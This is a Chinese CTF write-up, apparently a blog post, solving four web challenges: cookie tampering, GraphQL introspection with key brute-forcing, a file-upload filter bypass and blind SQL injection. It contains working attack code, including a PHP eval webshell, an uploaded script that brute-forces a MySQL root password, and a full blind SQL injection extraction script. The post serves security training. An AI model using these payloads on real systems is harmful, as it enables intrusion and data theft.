CTF暑期集训-第一阶段考核赛WEB题解

作者: 蓝小俊 | 来源:发表于2019-07-10 23:14 被阅读95次

EASY-WEB

题目描述

图片.png

解题过程

右键源代码发现提示

图片.png

GET请求带上参数source，得到如下：

图片.png

POST传值name参数结果提示如下

图片.png

根据提示抓包在cookie中修改user=admin重新发包

图片.png
在响应头得到提示，经过base64解密得到：ok ,do you know zhenxiaoyu.she is so cute,so let see zhen_xiao_yu_cute.php,根据提示访问zhen_xiao_yu_cute.php,结果如下：

图片.png

审阅代码，发现需要将页面session会话中的zhenxiaoyukey完整拼接出来然后发送到zhen_xiao_yu_give_you_flag.php，通过脚本实现
得到一半flag和提示访问xiaojun.php，界面如下

根据题目提示进行传值后爆破，得到另一半flag，拼接flag得到完整flag

import requests
url = 'http://47.97.187.132:10001/'
session = requests.session()
def step_one():
    # zhen_xiao_yu_cute.php
    key = ''
    while 1:
        back = session.get(url + 'zhen_xiao_yu_cute.php').text
        if back[-1]=='>':
            break
        key +=back[-1]

    print("[+] key is " + key)
    print("[+] send it to zhen_xiao_yu_give_you_flag.php")

    back = session.get(url + 'zhen_xiao_yu_give_you_flag.php?key='+key,data= {'key':key})
    flag_start = back.text.find("flag")
    flag_over = back.text.find("<!-- xiao yu say:")
    flag_one = back.text[flag_start:flag_over]
    print("[+] I GET FLAG ONE is %s" % flag_one)
    return flag_one
def getxiaojunflag():
    startword = session.get(url + "xiaojun.php").text
    startword = startword[startword.find('upload')+9:startword.find('upload')+12]
    try :
        session.get(url+"xiaojun.php?try",timeout=1)
    except:
        pass
    # print(startword)
    for i in range(1000):
        filename = "/upload/" + startword + str(i).zfill(3) + '.txt'
        # print(filename)
        back = session.get(url + filename)
        if back.status_code ==200:
            print(back.text)
            break
step_one()
getxiaojunflag()

GraphQL-WEB

题目描述

题目截图

考点

GraphQL安全机制

解题步骤

打开题目发现只有一个输入框，且会将信息回传回来。

先查看源代码
可以发现信息格式为： /graphql?query={Gugugu(gugugu:"'+askinfo+'")}

3.发现api名字是graphql 那么先搜索一下关键词

GraphQL安全指北

发现graphql 存在内省自检机制，可以直接获取后端定义的所有接口信息可以通过__schema查询所有可用对象：

{
    __schema {
        types {
            name
        }
    }
}
RETURN: 
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"String"},{"name":"Int"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"Boolean"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}

图片.png

http://127.0.0.1:8000/graphql?query={__schema{types{name}}}

通过__type查询指定对象的所有字段：

{
  __type(name:"Query"){
    fields {
      description
      name
      type {
        name
        kind
            ofType {
              name
              kind
              description
            }
      }
    }
    }
}
RETURN 
{"data":{"__type":{"fields":[{"description":null,"name":"foo","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":null,"name":"hello_CTFER","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":"GO ON // you should send key to see flag \u300ckey-type\uff1aNo\\d\\d\\d \u300d ","name":"config","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":"\u4eba\u7c7b\u7684\u672c\u8d28\u662f\u4ec0\u4e48\uff1f","name":"Gugugu","type":{"name":"String","kind":"SCALAR","ofType":null}},{"description":"calculate a + b then return the result.","name":"add","type":{"name":"Int","kind":"SCALAR","ofType":null}}]}}}

图片.png

http://127.0.0.1:8000/graphql?query={%20__type(name:%22Query%22){%20fields%20{%20description%20name%20type%20{%20name%20kind%20ofType%20{%20name%20kind%20description%20}%20}%20}%20}%20}

由上可知：发送一个config(key : No + 三个数字) 直接爆破即可
http://127.0.0.1:8000/graphql?query={config(key:"No996")}

脚本如下：

#coding=utf-8
import requests
url = 'http://xx:xx'
for i in range(1000):
  payload = '{config(key:"NO' +str(i).zfill(3) +'")}'   //zfill方法用零垫串来填充左边宽度
  back = requests.get(url +'/graphql?query='+payload ).text
  if 'flag' in back:
    print(back)
    exit()
  
#`http://127.0.0.1:8000/graphql?query={config(key:"No996")}`

简单的上传

打开页面是文件上传，查看源代码发现存在前端js过滤，直接用插件绕过或者直接在bp中修改。

尝试php2, php3, php4, php5, phps, pht, phtm, phtml，这里可以尝试使用脚本进行fuzz

发现phps、pht没被过滤，成功上传并给出了文件位置，访问发现pht被解析，phps无法解析，所以菜刀或者中国蚁剑连接上传的pht文件

发现存在hint.txt文件，提示flag在数据库

数据库用户名为root，密码为6位数字，本地php爆破，根据回显判断密码是否正确。接着连接数据库进行查询，然后输出在页面上

图片.png

访问页面查看flag

#coding=utf-8

import requests

a='1.pht'
# files = {'fupload': ('1.pht', open('1.pht', 'rb'), 'image/gif', {'Expires': '0'})}
files = {'fupload': ('1.pht', b'<?php @eval($_POST[1]);?>', 'image/gif', {'Expires': '0'})}
files = {'fupload': ('1.pht', b'''<?php
    ini_set("display_errors", "On");
    error_reporting(E_ALL);
    ini_set("display_errors", "On");  
    error_reporting(0);

    for($i=92873;$i<1000000;$i++){
        $b = ($i);
        if(strlen($b)==1){
            $t = "00000".$b;
        }else if(strlen($b)==2){
            $t = "0000".$b;
        }else if(strlen($b)==3){
            $t = "000".$b;
        }else if(strlen($b)==4){
            $t = "00".$b;
        }else if(strlen($b)==5){
            $t = "0".$b;
        }else{
            $t = $b;
        }
        $pass = $t;
        $con = mysqli_connect("localhost","root",$pass);
        if (!$con){
            continue;
        }else{
            echo $pass."connect ok!";
            $sql = "SELECT * from FLAG.flag";
$result = mysqli_query($con,$sql);

while($row = mysqli_fetch_array($result)){
    var_dump($row);
    echo '<hr>';
}

mysqli_close($db);
            
            break;
        }
    }

?>''', 'image/gif', {'Expires': '0'})}

back = requests.post('http://127.0.0.1:5002/index.php',files=files,data={'submit':'upload!'})

print(back.text)

easy-sql

考点：sql盲注
脚本如下

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
import requests

def length(url,findstr):
    num = 1
    while True:
        str_num = '%d' % num
        payload = "admin' and (select length(database()) = " + str_num + ")#"
        data = {'user': payload}
        response = requests.post(url, data=data)
        if findstr in response.content.decode('UTF-8'):
            return str_num
        else:
            num = num + 1

def getdata(url,findstr):
    database = ""
    for i in range(1, 7):
        for j in range(22, 123):
            payload = "admin' and ascii(mid(database(),%s,1))=%s#" % (str(i), str(j))
            data = {'user': payload}
            response = requests.post(url, data=data)
            if findstr in response.content.decode('UTF-8'):
                database = database + chr(j)
                break
            else:
                j = j + 1
    return  database

def gettable(url,findstr):
    tablename = ""
    for i in range(1, 10):
        for j in range(22, 123):
            payload = "admin' and ascii(mid((select group_concat(TABLE_NAME) from information_schema.tables where table_schema=DATABASE()),%s,1))=%s#" % (str(i), str(j))
            data = {'user': payload}
            response = requests.post(url, data=data)
            if findstr in response.content.decode('UTF-8'):
                tablename = tablename + chr(j)
                break
            else:
                j = j + 1
    return  tablename


def getcolumnname(url,findstr):
    columnname = ""
    for i in range(1, 10):
        for j in range(22, 123):
            payload = "admin' and ascii(mid((select group_concat(column_name) from information_schema.columns where table_name='f1ag'),%s,1))=%s#" % (str(i), str(j))
            data = {'user': payload}
            response = requests.post(url, data=data)
            if findstr in response.content.decode('UTF-8'):
                columnname = columnname + chr(j)
                break
            else:
                j = j + 1
    return  columnname


def getflag(url,findstr):
    flag = ""
    for i in range(1, 32):
        for j in range(22, 128):
            payload = "admin' and ascii(mid((select fl4g from f1ag),%s,1))=%s#" % (str(i), str(j))
            data = {'user': payload}
            response = requests.post(url, data=data)
            if findstr in response.content.decode('UTF-8'):
                flag = flag + chr(j)
                break
            else:
                j = j + 1
    return  flag
url = "http://47.97.187.132:10004/index.php"
findstr = "登录成功"

# print length(url,findstr)
#6
# print getdata(url,findstr)
#dbuser
# print gettable(url,findstr)
# print getcolumnname(url,findstr)
print getflag(url,findstr)
#flag{lekaihua_is_panghuhuh}

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CTF暑期集训-第一阶段考核赛WEB题解

EASY-WEB

题目描述

解题过程

GraphQL-WEB

题目描述

考点

解题步骤

简单的上传

easy-sql

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